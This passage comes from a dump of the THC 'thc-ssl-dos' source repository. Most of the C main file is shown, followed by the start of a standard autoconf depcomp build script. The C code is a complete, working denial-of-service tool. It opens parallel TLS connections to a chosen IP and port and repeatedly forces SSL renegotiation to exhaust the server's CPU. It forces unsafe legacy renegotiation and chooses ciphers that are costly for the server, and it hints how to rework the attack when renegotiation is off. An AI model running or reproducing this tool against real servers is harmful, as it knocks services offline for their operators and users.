tcp_connect_io(struct _peer *p); 90 | static int tcp_connect_try_finish(struct _peer *p, int ret); 91 | static void PEER_SSL_renegotiate(struct _peer *p); 92 | static void PEER_connect(struct _peer *p); 93 | static void PEER_disconnect(struct _peer *p); 94 | 95 | static char * 96 | int_ntoa(uint32_t ip) 97 | { 98 | struct in_addr x; 99 | 100 | //memset(&x, 0, sizeof x); 101 | x.s_addr = ip; 102 | return inet_ntoa(x); 103 | } 104 | 105 | static uint64_t 106 | getusec(struct timeval *tv) 107 | { 108 | struct timeval tv_l; 109 | 110 | if (tv == NULL) 111 | { 112 | tv = &tv_l; 113 | gettimeofday(tv, NULL); 114 | } 115 | 116 | return (uint64_t)tv->tv_sec * 1000000 + tv->tv_usec; 117 | } 118 | 119 | static void 120 | init_default(void) 121 | { 122 | g_opt.n_max_peers = DEFAULT_PEERS; 123 | g_opt.port = htons(443); 124 | g_opt.ip = -1; //inet_addr("127.0.0.1"); 125 | FD_ZERO(&g_opt.rfds); 126 | FD_ZERO(&g_opt.wfds); 127 | } 128 | 129 | static void 130 | init_vars(void) 131 | { 132 | SSL_library_init(); 133 | SSL_load_error_strings(); 134 | g_opt.ctx = SSL_CTX_new(SSLv23_method()); 135 | 136 | #ifdef SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION 137 | SSL_CTX_set_options(g_opt.ctx, SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION); 138 | /* Always guarantee we can connect to unpatched SSL Servers */ 139 | SSL_CTX_set_options(g_opt.ctx, SSL_OP_LEGACY_SERVER_CONNECT); 140 | #endif 141 | /* AES256-SHA SSLv3 Kx=RSA Au=RSA Enc=AES(256) */ 142 | /* RC4-MD5 SSLv3 Kx=RSA Au=RSA Enc=RC4(128) */ 143 | /* RSA_decrypt() is 15x slower (used for Kx) than RSA_encrypt() */ 144 | SSL_CTX_set_cipher_list(g_opt.ctx, "AES256-SHA:RC4-MD5"); 145 | //SSL_CTX_set_cipher_list(g_opt.ctx, "AES256-SHA"); 146 | //SSL_CTX_set_cipher_list(g_opt.ctx, "RC4-MD5"); 147 | //SSL_CTX_set_options(g_opt.ctx, SSL_OP_NO_TLSv1); 148 | //SSL_CTX_set_options(ctx, SSL_OP_LEGACY_SERVER_CONNECT); 149 | 150 | int i; 151 | for (i = 0; i < MAX_PEERS; i++) 152 | peers[i].sox = -1; 153 | } 154 | 155 | static void 156 | usage(void) 157 | { 158 | fprintf(stderr, "" 159 | "./" PROGRAM_NAME " [options] \n" 160 | " -h help\n" 161 | " -l Limit parallel connections [default: %d]\n" 162 | "", DEFAULT_PEERS); 163 | exit(0); 164 | } 165 | 166 | static void 167 | do_getopt(int argc, char *argv[]) 168 | { 169 | int c; 170 | int i; 171 | static int accept_flag = 0; 172 | static int skipdelay_flag = 0; 173 | 174 | static struct option long_options[] = 175 | { 176 | {"accept", no_argument, &accept_flag, 1}, 177 | {"skip-delay", no_argument, &skipdelay_flag, 1}, 178 | {0, 0, 0, 0} 179 | }; 180 | int option_index = 0; 181 | 182 | 183 | while ((c = getopt_long(argc, argv, "hl:", long_options, &option_index)) != -1) 184 | { 185 | switch (c) 186 | { 187 | case 0: 188 | break; 189 | case 'l': 190 | g_opt.n_max_peers = atoi(optarg); 191 | break; 192 | case 'h': 193 | default: 194 | usage(); 195 | } 196 | } 197 | 198 | if (optind >= argc) 199 | { 200 | usage(); 201 | } 202 | 203 | if (accept_flag == 0) 204 | { 205 | fprintf(stderr, "" 206 | "ERROR:\n" 207 | "Please agree by using '--accept' option that the IP is a legitimate target\n" 208 | "and that you are fully authorized to perform the test against this target.\n" 209 | ""); 210 | exit(-1); 211 | } 212 | 213 | i = optind; 214 | if (i < argc) 215 | { 216 | g_opt.ip = inet_addr(argv[i]); 217 | i++; 218 | } 219 | if (i < argc) 220 | { 221 | g_opt.port = htons(atoi(argv[i])); 222 | i++; 223 | } 224 | 225 | if (g_opt.ip == -1) 226 | ERREXIT("ERROR: Invalid target IP address\n"); 227 | 228 | #if 1 229 | if (skipdelay_flag == 0) 230 | { 231 | printf("Waiting for script kiddies to piss off."); 232 | fflush(stdout); 233 | for (c = 0; c < 15; c++) 234 | { 235 | sleep(1); 236 | printf("."); 237 | fflush(stdout); 238 | } 239 | printf("\nThe force is with those who read the source...\n"); 240 | } 241 | #endif 242 | } 243 | 244 | static void 245 | SSL_set_rw(struct _peer *p, int ret) 246 | { 247 | int err; 248 | 249 | err = SSL_get_error(p->ssl, ret); 250 | switch (err) 251 | { 252 | case SSL_ERROR_WANT_READ: 253 | FD_SET(p->sox, &g_opt.rfds); 254 | FD_CLR(p->sox, &g_opt.wfds); 255 | break; 256 | case SSL_ERROR_WANT_WRITE: 257 | FD_SET(p->sox, &g_opt.wfds); 258 | FD_CLR(p->sox, &g_opt.rfds); 259 | break; 260 | default: 261 | SSLERR("SSL"); 262 | if (g_opt.stat.total_ssl_connect <= 0) 263 | { 264 | fprintf(stderr, "#%d: This does not look like SSL!\n", PEER_GET_IDX(p)); 265 | exit(-1); 266 | } 267 | g_opt.stat.error_count++; 268 | PEER_disconnect(p); 269 | return; 270 | } 271 | } 272 | 273 | static int 274 | ssl_handshake_io(struct _peer *p) 275 | { 276 | int ret; 277 | 278 | /* Empty input buffer in case peer send data to us */ 279 | char buf[1024]; 280 | while (1) 281 | { 282 | ret = SSL_read(p->ssl, buf, sizeof buf); 283 | if (ret <= 0) 284 | break; 285 | } 286 | ret = SSL_do_handshake(p->ssl); 287 | if (ret == 1) 288 | { 289 | p->flags |= FL_PEER_WANT_NEXT_STATE; 290 | 291 | /* Stunnel watchdog bug, disconnect if no data is send */ 292 | g_opt.stat.total_renegotiations++; 293 | p->count_renegotiations++; 294 | if (p->count_renegotiations % 50 == 0) 295 | { 296 | p->state = STATE_SSL_DUMMYWRITE; 297 | } else { 298 | p->state = STATE_SSL_HANDSHAKING; 299 | } 300 | 301 | return 0; 302 | } 303 | 304 | int err; 305 | err = SSL_get_error(p->ssl, ret); 306 | if ((err != SSL_ERROR_WANT_READ) && (err != SSL_ERROR_WANT_WRITE)) 307 | { 308 | /* Renegotiation is not supported */ 309 | if (g_opt.stat.total_renegotiations <= 0) 310 | { 311 | fprintf(stderr, "" 312 | "ERROR: Target has disabled renegotiations.\n" 313 | "Use your own skills to modify the source to test/attack\n" 314 | "the target [hint: TCP reconnect for every handshake].\n"); 315 | exit(-1); 316 | } 317 | } 318 | 319 | SSL_set_rw(p, ret); 320 | return 0; 321 | } 322 | 323 | static int 324 | ssl_connect_io(struct _peer *p) 325 | { 326 | int ret; 327 | 328 | ret = SSL_connect(p->ssl); 329 | if (ret == 1) 330 | { 331 | g_opt.stat.total_ssl_connect++; 332 | #if 0 333 | if (!(g_opt.flags & FL_OUTPUT_SR_ONCE)) 334 | { 335 | g_opt.flags |= FL_OUTPUT_SR_ONCE; 336 | #ifdef SSL_get_secure_renegotiation_support 337 | ret = SSL_get_secure_renegotiation_support(p->ssl); 338 | printf("Secure Renegotiation support: %s\n", SSL_get_secure_renegotiation_support(p->ssl)?"yes":"no"); 339 | #else 340 | printf("Secure Renegotiation support: UNKNOWN. [Update your OpenSSL library!]\n"); 341 | #endif 342 | } 343 | #endif 344 | 345 | p->flags |= FL_PEER_WANT_NEXT_STATE; 346 | p->state = STATE_SSL_HANDSHAKING; 347 | return 0; 348 | } 349 | 350 | SSL_set_rw(p, ret); 351 | 352 | return 0; 353 | } 354 | 355 | static int 356 | ssl_dummywrite_io(struct _peer *p) 357 | { 358 | char c = 0; 359 | int ret; 360 | 361 | ret = SSL_write(p->ssl, &c, 1); 362 | if (ret == 1) 363 | { 364 | p->flags |= FL_PEER_WANT_NEXT_STATE; 365 | p->state = STATE_SSL_HANDSHAKING; 366 | return 0; 367 | } 368 | 369 | SSL_set_rw(p, ret); 370 | 371 | return 0; 372 | } 373 | 374 | 375 | static void 376 | PEER_SSL_dummywrite(struct _peer *p) 377 | { 378 | p->state = STATE_SSL_DUMMYWRITE; 379 | 380 | //DEBUGF("%d DummyWrite at %d\n", PEER_GET_IDX(p), p->count_renegotiations); 381 | ssl_dummywrite_io(p); 382 | } 383 | 384 | static void 385 | PEER_SSL_renegotiate(struct _peer *p) 386 | { 387 | int ret; 388 | 389 | ret = SSL_renegotiate(p->ssl); 390 | if (ret != 1) 391 | { 392 | DEBUGF("SSL_renegotiate() failed\n"); 393 | g_opt.stat.error_count++; 394 | PEER_disconnect(p); 395 | return; 396 | } 397 | 398 | p->state = STATE_SSL_HANDSHAKING; 399 | ssl_handshake_io(p); 400 | } 401 | 402 | static void 403 | PEER_SSL_connect(struct _peer *p) 404 | { 405 | p->ssl = SSL_new(g_opt.ctx); 406 | SSL_set_fd(p->ssl, p->sox); 407 | p->state = STATE_SSL_CONNECTING; 408 | 409 | ssl_connect_io(p); 410 | } 411 | 412 | static void 413 | NextState(struct _peer *p) 414 | { 415 | 416 | p->flags &= ~FL_PEER_WANT_NEXT_STATE; 417 | 418 | switch (p->state) 419 | { 420 | case STATE_TCP_CONNECTING: 421 | PEER_connect(p); 422 | break; 423 | case STATE_SSL_DUMMYWRITE: 424 | PEER_SSL_dummywrite(p); 425 | break; 426 | case STATE_SSL_HANDSHAKING: 427 | PEER_SSL_renegotiate(p); 428 | break; 429 | default: 430 | DEBUGF("NextState(): unknown state: %d\n", p->state); 431 | } 432 | } 433 | 434 | static void 435 | CompleteState(struct _peer *p) 436 | { 437 | int ret; 438 | 439 | switch (p->state) 440 | { 441 | case STATE_TCP_CONNECTING: 442 | ret = tcp_connect_io(p); 443 | if (ret != 0) 444 | { 445 | DEBUGF("%d tcp_connect_io(): %s\n", PEER_GET_IDX(p), strerror(errno)); 446 | g_opt.stat.error_count++; 447 | PEER_disconnect(p); 448 | } else { 449 | /* TCP connect() successfully */ 450 | if (g_opt.n_peers < g_opt.n_max_peers) 451 | { 452 | //DEBUGF("#%d Activating..\n", g_opt.n_peers); 453 | /* Slowly connect more TCP connections */ 454 | if (peers[g_opt.n_peers].state != STATE_UNKNOWN) 455 | ERREXIT("internal error\n"); 456 | PEER_disconnect(&peers[g_opt.n_peers]); 457 | g_opt.n_peers++; 458 | } 459 | } 460 | break; 461 | case STATE_SSL_CONNECTING: 462 | ret = ssl_connect_io(p); 463 | if (ret != 0) 464 | ERREXIT("ssl_connect_io() failed\n"); 465 | break; 466 | case STATE_SSL_HANDSHAKING: 467 | ret = ssl_handshake_io(p); 468 | if (ret != 0) 469 | { 470 | DEBUGF("ssl_handshake_io() failed\n"); 471 | g_opt.stat.error_count++; 472 | PEER_disconnect(p); 473 | } 474 | break; 475 | case STATE_SSL_DUMMYWRITE: 476 | ret = ssl_dummywrite_io(p); 477 | if (ret != 0) 478 | { 479 | DEBUGF("ssl_dummywrite_io() failed\n"); 480 | g_opt.stat.error_count++; 481 | PEER_disconnect(p); 482 | } 483 | break; 484 | default: 485 | ERREXIT("Unknown state: %d\n", p->state); 486 | } 487 | 488 | } 489 | 490 | /* 491 | * Called if in state STATE_TCP_CONNECTING 492 | */ 493 | static int 494 | tcp_connect_io(struct _peer *p) 495 | { 496 | int ret; 497 | socklen_t len; 498 | 499 | /* Socket became writeable. Either the connection was successfull 500 | * (errno == 0) or we have an error and we have to reconnect. 501 | */ 502 | len = 4; 503 | getsockopt(p->sox, SOL_SOCKET, SO_ERROR, &errno, &len); 504 | 505 | //DEBUGF("ret %d errno %d %s\n", ret, errno, strerror(errno)); 506 | ret = tcp_connect_try_finish(p, errno); 507 | 508 | return ret; 509 | } 510 | 511 | static int 512 | tcp_connect_try_finish(struct _peer *p, int ret) 513 | { 514 | if (ret != 0) 515 | { 516 | if ((errno != EINPROGRESS) && (errno != EAGAIN)) 517 | { 518 | if (g_opt.stat.total_tcp_connections <= 0) 519 | { 520 | fprintf(stderr, "TCP connect(%s:%d): %s\n", int_ntoa(g_opt.ip), ntohs(g_opt.port), strerror(errno)); 521 | exit(-1); 522 | 523 | } 524 | return -1; 525 | } 526 | p->state = STATE_TCP_CONNECTING; 527 | FD_SET(p->sox, &g_opt.wfds); 528 | FD_CLR(p->sox, &g_opt.rfds); 529 | 530 | return 0; 531 | } else { 532 | g_opt.stat.total_tcp_connections++; 533 | FD_CLR(p->sox, &g_opt.wfds); 534 | PEER_SSL_connect(p); 535 | } 536 | 537 | return 0; 538 | } 539 | 540 | int 541 | tcp_connect(struct _peer *p) 542 | { 543 | int ret; 544 | 545 | p->sox = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 546 | if (p->sox < 0) 547 | return -1; 548 | 549 | if (p->sox > g_opt.max_sox) 550 | g_opt.max_sox = p->sox; 551 | 552 | fcntl(p->sox, F_SETFL, fcntl(p->sox, F_GETFL, 0) | O_NONBLOCK); 553 | 554 | memset(&p->addr, 0, sizeof p->addr); 555 | p->addr.sin_family = AF_INET; 556 | p->addr.sin_port = g_opt.port; 557 | p->addr.sin_addr.s_addr = g_opt.ip; 558 | 559 | ret = connect(p->sox, (struct sockaddr *)&p->addr, sizeof p->addr); 560 | struct timeval tv; 561 | gettimeofday(&tv, NULL); 562 | p->tv_connect_sec = tv.tv_sec; 563 | /* On some linux connect() on localhost can complete instantly even 564 | * on non-blocking sockets. 565 | */ 566 | ret = tcp_connect_try_finish(p, ret); 567 | 568 | return ret; 569 | } 570 | 571 | static void 572 | PEER_read(struct _peer *p) 573 | { 574 | CompleteState(p); 575 | } 576 | 577 | static void 578 | PEER_write(struct _peer *p) 579 | { 580 | CompleteState(p); 581 | } 582 | 583 | 584 | /* 585 | * Connect the peer via TCP 586 | */ 587 | static void 588 | PEER_connect(struct _peer *p) 589 | { 590 | if (tcp_connect(p) != 0) 591 | { 592 | ERREXIT("tcp_connect(): %s\n", strerror(errno)); 593 | } 594 | } 595 | 596 | static void 597 | PEER_disconnect(struct _peer *p) 598 | { 599 | if (p->ssl != NULL) 600 | { 601 | /* Make sure session is not kept in cache. 602 | * Calling SSL_free() without calling SSL_shutdown will 603 | * also remove the session from the session cache. 604 | */ 605 | SSL_free(p->ssl); 606 | p->ssl = NULL; 607 | } 608 | if (p->sox >= 0) 609 | { 610 | FD_CLR(p->sox, &g_opt.rfds); 611 | FD_CLR(p->sox, &g_opt.wfds); 612 | close(p->sox); 613 | p->sox = -1; 614 | } 615 | 616 | p->state = STATE_TCP_CONNECTING; 617 | p->flags = FL_PEER_WANT_NEXT_STATE; 618 | } 619 | 620 | static void 621 | statistics_update(struct timeval *tv) 622 | { 623 | int32_t reneg_delta; 624 | uint32_t usec_delta; 625 | uint64_t usec_now; 626 | int32_t conn = 0; 627 | int i; 628 | 629 | reneg_delta = g_opt.stat.total_renegotiations - g_opt.stat.epoch_start_renegotiations; 630 | usec_now = getusec(tv); 631 | usec_delta = usec_now - g_opt.stat.epoch_start_usec; 632 | 633 | for (i = 0; i < g_opt.n_peers; i++) 634 | { 635 | if (peers[i].sox < 0) 636 | continue; 637 | if (peers[i].state > STATE_TCP_CONNECTING) 638 | conn++; 639 | } 640 | printf("Handshakes %" PRIu32" [%.2f h/s], %" PRId32 " Conn, %" PRIu32 " Err\n", g_opt.stat.total_renegotiations, (float)(1000000 * reneg_delta) / usec_delta, conn, g_opt.stat.error_count); 641 | 642 | g_opt.stat.epoch_start_renegotiations = g_opt.stat.total_renegotiations; 643 | g_opt.stat.epoch_start_usec = usec_now; 644 | } 645 | 646 | int 647 | main(int argc, char *argv[]) 648 | { 649 | int n; 650 | int i; 651 | fd_set rfds; 652 | fd_set wfds; 653 | 654 | printf("" 655 | " ______________ ___ _________\n" 656 | " \\__ ___/ | \\ \\_ ___ \\\n" 657 | " | | / ~ \\/ \\ \\/\n" 658 | " | | \\ Y /\\ \\____\n" 659 | " |____| \\___|_ / \\______ /\n" 660 | " \\/ \\/\n" 661 | " http://www.thc.org\n" 662 | "\n" 663 | " Twitter @hackerschoice\n" 664 | "\n" 665 | "Greetingz: the french underground\n" 666 | "\n"); 667 | fflush(stdout); 668 | 669 | init_default(); 670 | do_getopt(argc, argv); 671 | init_vars(); 672 | 673 | g_opt.n_peers = 1; 674 | for (i = 0; i < g_opt.n_peers; i++) 675 | { 676 | PEER_disconnect(&peers[i]); 677 | } 678 | 679 | struct timeval tv; 680 | while (1) 681 | { 682 | for (i = 0; i < g_opt.n_peers; i++) 683 | { 684 | if (peers[i].flags & FL_PEER_WANT_NEXT_STATE) 685 | NextState(&peers[i]); 686 | } 687 | tv.tv_sec = 0; 688 | tv.tv_usec = 100 * 1000; 689 | memcpy(&rfds, &g_opt.rfds, sizeof rfds); 690 | memcpy(&wfds, &g_opt.wfds, sizeof wfds); 691 | n = select(g_opt.max_sox + 1, &rfds, &wfds, NULL, &tv); 692 | gettimeofday(&tv, NULL); 693 | if (tv.tv_sec != g_opt.stat.epoch_start_usec / 1000000) 694 | { 695 | if (g_opt.stat.total_tcp_connections > 0) 696 | statistics_update(&tv); 697 | } 698 | 699 | if (n < 0) 700 | ERREXIT("select(): %s\n", strerror(errno)); 701 | 702 | /* g_opt.n_peers is dynamicly modified in this loop */ 703 | int end = g_opt.n_peers; 704 | for (i = 0; i < end; i++) 705 | { 706 | if ((peers[i].state == STATE_TCP_CONNECTING) && (peers[i].tv_connect_sec + TO_TCP_CONNECT < tv.tv_sec)) 707 | { 708 | fprintf(stderr, "#%d Connection timed out\n", i); 709 | PEER_disconnect(&peers[i]); 710 | continue; 711 | } 712 | if (peers[i].sox < 0) 713 | continue; 714 | if (FD_ISSET(peers[i].sox, &rfds)) 715 | { 716 | PEER_read(&peers[i]); 717 | continue; 718 | } 719 | if (FD_ISSET(peers[i].sox, &wfds)) 720 | { 721 | PEER_write(&peers[i]); 722 | continue; 723 | } 724 | } 725 | 726 | } 727 | 728 | exit(0); 729 | return 0; 730 | } 731 | 732 | -------------------------------------------------------------------------------- /thc-ssl-dos/config/depcomp: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # depcomp - compile a program generating dependencies as side-effects 3 | 4 | scriptversion=2009-04-28.21; # UTC 5 | 6 | # Copyright (C) 1999, 2000, 2003, 2004, 2005, 2006, 2007, 2009 Free 7 | # Software Foundation, Inc. 8 | 9 | # This program is free software; you can redistribute it and/or modify 10 | # it under the terms of the GNU General Public License as published by 11 | # the Free Software Foundation; either version 2, or (at your option) 12 | # any later version. 13 | 14 | # This program is distributed in the hope that it will be useful, 15 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | # GNU General Public License for more details. 18 | 19 | # You should have received a copy of the GNU General Public License 20 | # along with this program. If not, see . 21 | 22 | # As a special exception to the GNU General Public License, if you 23 | # distribute this file as part of a program that contains a 24 | # configuration script generated by Autoconf, you may include it under 25 | # the same distribution terms that you use for the rest of that program. 26 | 27 | # Originally written by Alexandre Oliva . 28 | 29 | case $1 in 30 | '') 31 | echo "$0: No command. Try \`$0 --help' for more information." 1>&2 32 | exit 1; 33 | ;; 34 | -h | --h*) 35 | cat <<\EOF 36 | Usage: depcomp [--help] [--version] PROGRAM [ARGS] 37 | 38 | Run PROGRAMS ARGS to compile a file, generating dependencies 39 | as side-effects. 40 | 41 | Environment variables: 42 | depmode Dependency tracking mode. 43 | source Source file read by `PROGRAMS ARGS'. 44 | object Object file output by `PROGRAMS ARGS'. 45 | DEPDIR directory where to store dependencies. 46 | depfile Dependency file to output. 47 | tmpdepfile Temporary file to use when outputing dependencies. 48 | libtool Whether libtool is used (yes/no). 49 | 50 | Report bugs to . 51 | EOF 52 | exit $? 53 | ;; 54 | -v | --v*) 55 | echo "depcomp $scriptversion" 56 | exit $? 57 | ;; 58 | esac 59 | 60 | if test -z "$depmode" || test -z "$source" || test -z "$object"; then 61 | echo "depcomp: Variables source, object and depmode must be set" 1>&2 62 | exit 1 63 | fi 64 | 65 | # Dependencies for sub/bar.o or sub/bar.obj go into sub/.deps/bar.Po. 66 | depfile=${depfile-`echo "$object" | 67 | sed 's|[^\\/]*$|'${DEPDIR-.deps}'/&|;s|\.\([^.]*\)$|.P\1|;s|Pobj$|Po|'`} 68 | tmpdepfile=${tmpdepfile-`echo "$depfile" | sed 's/\.\([^.]*\)$/.T\1/'`} 69 | 70 | rm -f "$tmpdepfile" 71 | 72 | # Some modes work just like other modes, but use different flags. We 73 | # parameterize here, but still list the modes in the big case below, 74 | # to make depend.m4 easier to write. Note that we *cannot* use a case 75 | # here, because this file can only contain one case statement. 76 | if test "$depmode" = hp; then 77 | # HP compiler uses -M and no extra arg. 78 | gccflag=-M 79 | depmode=gcc 80 | fi 81 | 82 | if test "$depmode" = dashXmstdout; then 83 | # This is just like dashmstdout with a different argument. 84 | dashmflag=-xM 85 | depmode=dashmstdout 86 | fi 87 | 88 | cygpath_u="cygpath -u -f -" 89 | if test "$depmode" = msvcmsys; then 90 | # This is just like msvisualcpp but w/o cygpath translation. 91 | # Just convert the backslash-escaped backslashes to single forward 92 | # slashes to satisfy depend.m4 93 | cygpath_u="sed s,\\\\\\\\,/,g" 94 | depmode=msvisualcpp 95 | fi 96 | 97 | case "$depmode" in 98 | gcc3) 99 | ## gcc 3 implements dependency tracking that does exactly what 100 | ## we want. Yay! Note: for some reason libtool 1.4 doesn't like 101 | ## it if -MD -MP comes after the -MF stuff. Hmm. 102 | ## Unfortunately, FreeBSD c89 acceptance of flags depends upon 103 | ## the command line argument order; so add the flags where they 104 | ## appear in depend2.am. Note that the slowdown incurred here 105 | ## affects only configure: in makefiles, %FASTDEP% shortcuts this. 106 | for arg 107 | do 108 | case $arg in 109 | -c) set fnord "$@" -MT "$object" -MD -MP -MF "$tmpdepfile" "$arg" ;; 110 | *) set fnord "$@" "$arg" ;; 111 | esac 112 | shift # fnord 113 | shift # $arg 114 | done 115 | "$@" 116 | stat=$? 117 | if test $stat -eq 0; then : 118 | else 119 | rm -f "$tmpdepfile" 120 | exit $stat 121 | fi 122 | mv "$tmpdepfile" "$depfile" 123 | ;; 124 | 125 | gcc) 126 | ## There are various ways to get dependency output from gcc. Here's 127 | ## why we pick this rather obscure method: 128 | ## - Don't want to use -MD because we'd like the dependencies to end 129 | ## up in a subdir. Having to rename by hand is ugly. 130 | ## (We might end up doing this anyway to support other compilers.) 131 | ## - The DEPENDENCIES_OUTPUT environment variable makes gcc act like 132 | ## -MM, not -M (despite what the docs say). 133 | ## - Using -M directly means running the compiler twice (even worse 134 | ## than renaming). 135 | if test -z "$gccflag"; then 136 | gccflag=-MD, 137 | fi 138 | "$@" -Wp,"$gccflag$tmpdepfile" 139 | stat=$? 140 | if test $stat -eq 0; then : 141 | else 142 | rm -f "$tmpdepfile" 143 | exit $stat 144 | fi 145 | rm -f "$depfile" 146 | echo "$object : \\" > "$depfile" 147 | alpha=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz 148 | ## The second -e expression handles DOS-style file names with drive letters. 149 | sed -e 's/^[^:]*: / /' \ 150 | -e 's/^['$alpha']:\/[^:]*: / /' < "$tmpdepfile" >> "$depfile" 151 | ## This next piece of magic avoids the `deleted header file' problem. 152 | ## The problem is that when a header file which appears in a .P file 153 | ## is deleted, the dependency causes make to die (because there is 154 | ## typically no way to rebuild the header). We avoid this by adding 155 | ## dummy dependencies for each header file. Too bad gcc doesn't do 156 | ## this for us directly. 157 | tr ' ' ' 158 | ' < "$tmpdepfile" | 159 | ## Some versions of gcc put a space before the `:'. On the theory 160 | ## that the space means something, we add a space to the output as 161 | ## well. 162 | ## Some versions of the HPUX 10.20 sed can't process this invocation 163 | ## correctly. Breaking it into two sed invocations is a workaround. 164 | sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile" 165 | rm -f "$tmpdepfile" 166 | ;; 167 | 168 | hp) 169 | # This case exists only to let depend.m4 do its work. It works by 170 | # looking at the text of this script. This case will never be run, 171 | # since it is checked for above. 172 | exit 1 173 | ;; 174 | 175 | sgi) 176 | if test "$libtool" = yes; then 177 | "$@" "-Wp,-MDupdate,$tmpdepfile" 178 | else 179 | "$@" -MDupdate "$tmpdepfile" 180 | fi 181 | stat=$? 182 | if test $stat -eq 0; then : 183 | else 184 | rm -f "$tmpdepfile" 185 | exit $stat 186 | fi 187 | rm -f "$depfile" 188 | 189 | if test -f "$tmpdepfile"; then # yes, the sourcefile depend on other files 190 | echo "$object : \\" > "$depfile" 191 | 192 | # Clip off the initial element (the dependent). Don't try to be 193 | # clever and replace this with sed code, as IRIX sed won't handle 194 | # lines with more than a fixed number of characters (4096 in 195 | # IRIX 6.2 sed, 8192 in IRIX 6.5). We also remove comment lines; 196 | # the IRIX cc adds comments like `#:fec' to the end of the 197 | # dependency line. 198 | tr ' ' ' 199 | ' < "$tmpdepfile" \ 200 | | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' | \ 201 | tr ' 202 | ' ' ' >> "$depfile" 203 | echo >> "$depfile" 204 | 205 | # The second pass generates a dummy entry for each header file. 206 | tr ' ' ' 207 | ' < "$tmpdepfile" \ 208 | | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' -e 's/$/:/' \ 209 | >> "$depfile" 210 | else 211 | # The sourcefile does not contain any dependencies, so just 212 | # store a dummy comment line, to avoid errors with the Makefile 213 | # "include basename.Plo" scheme. 214 | echo "#dummy" > "$depfile" 215 | fi 216 | rm -f "$tmpdepfile" 217 | ;; 218 | 219 | aix) 220 | # The C for AIX Compiler uses -M and outputs the dependencies 221 | # in a .u file. In older versions, this file always lives in the 222 | # current directory. Also, the AIX compiler puts `$object:' at the 223 | # start of each line; $object doesn't have directory information. 224 | # Version 6 uses the directory in both cases. 225 | dir=`echo "$object" | sed -e 's|/[^/]*$|/|'` 226 | test "x$dir" = "x$object" && dir= 227 | base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'` 228 | if test "$libtool" = yes; then 229 | tmpdepfile1=$dir$base.u 230 | tmpdepfile2=$base.u 231 | tmpdepfile3=$dir.libs/$base.u 232 | "$@" -Wc,-M 233 | else 234 | tmpdepfile1=$dir$base.u 235 | tmpdepfile2=$dir$base.u 236 | tmpdepfile3=$dir$base.u 237 | "$@" -M 238 | fi 239 | stat=$? 240 | 241 | if test $stat -eq 0; then : 242 | else 243 | rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" 244 | exit $stat 245 | fi 246 | 247 | for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" 248 | do 249 | test -f "$tmpdepfile" && break 250 | done 251 | if test -f "$tmpdepfile"; then 252 | # Each line is of the form `foo.o: dependent.h'. 253 | # Do two passes, one to just change these to 254 | # `$object: dependent.h' and one to simply `dependent.h:'. 255 | sed -e "s,^.*\.[a-z]*:,$object:," < "$tmpdepfile" > "$depfile" 256 | # That's a tab and a space in the []. 257 | sed -e 's,^.*\.[a-z]*:[ ]*,,' -e 's,$,:,' < "$tmpdepfile" >> "$depfile" 258 | else 259 | # The sourcefile does not contain any dependencies, so just 260 | # store a dummy comment line, to avoid errors with the Makefile 261 | # "include basename.Plo" scheme. 262 | echo "#dummy" > "$depfile" 263 | fi 264 | rm -f "$tmpdepfile" 265 | ;; 266 | 267 | icc) 268 | # Intel's C compiler understands `-MD -MF file'. However on 269 | # icc -MD -MF foo.d -c -o sub/foo.o sub/foo.c 270 | # ICC 7.0 will fill foo.d with something like 271 | # foo.o: sub/foo.c 272 | # foo.o: sub/foo.h 273 | # which is wrong. We want: 274 | # sub/foo.o: sub/foo.c 275 | # sub/foo.o: sub/foo.h 276 | # sub/foo.c: 277 | # sub/foo.h: 278 | # ICC 7.1 will output 279 | # foo.o: sub/foo.c sub/foo.h 280 | # and will wrap long lines using \ : 281 | # foo.o: sub/foo.c ... \ 282 | # sub/foo.h ... \ 283 | # ... 284 | 285 | "$@" -MD -MF "$tmpdepfile" 286 | stat=$? 287 | if test $stat -eq 0; then : 288 | else 289 | rm -f "$tmpdepfile" 290 | exit $stat 291 | fi 292 | rm -f "$depfile" 293 | # Each line is of the form `foo.o: dependent.h', 294 | # or `foo.o: dep1.h dep2.h \', or ` dep3.h dep4.h \'. 295 | # Do two passes, one to just change these to 296 | # `$object: dependent.h' and one to simply `dependent.h:'. 297 | sed "s,^[^:]*:,$object :," < "$tmpdepfile" > "$depfile" 298 | # Some versions of the HPUX 10.20 sed can't process this invocation 299 | # correctly. Breaking it into two sed invocations is a workaround. 300 | sed 's,^[^:]*: \(.*\)$,\1,;s/^\\$//;/^$/d;/:$/d' < "$tmpdepfile" | 301 | sed -e 's/$/ :/' >> "$depfile" 302 | rm -f "$tmpdepfile" 303 | ;; 304 | 305 | hp2) 306 | # The "hp" stanza above does not work with aCC (C++) and HP's ia64 307 | # compilers, which have integrated preprocessors. The correct option 308 | # to use with these is +Maked; it writes dependencies to a file named 309 | # 'foo.d', which lands next to the object file, wherever that 310 | # happens to be. 311 | # Much of this is similar to the tru64 case; see comments there. 312 | dir=`echo "$object" | sed -e 's|/[^/]*$|/|'` 313 | test "x$dir" = "x$object" && dir= 314 | base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'` 315 | if test "$libtool" = yes; then 316 | tmpdepfile1=$dir$base.d 317 | tmpdepfile2=$dir.libs/$base.d 318 | "$@" -Wc,+Maked 319 | else 320 | tmpdepfile1=$dir$base.d 321 | tmpdepfile2=$dir$base.d 322 | "$@" +Maked 323 | fi 324 | stat=$? 325 | if test $stat -eq 0; then : 326 | else 327 | rm -f "$tmpdepfile1" "$tmpdepfile2" 328 | exit $stat 329 | fi 330 | 331 | for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" 332 | do 333 | test -f "$tmpdepfile" && break 334 | done 335 | if test 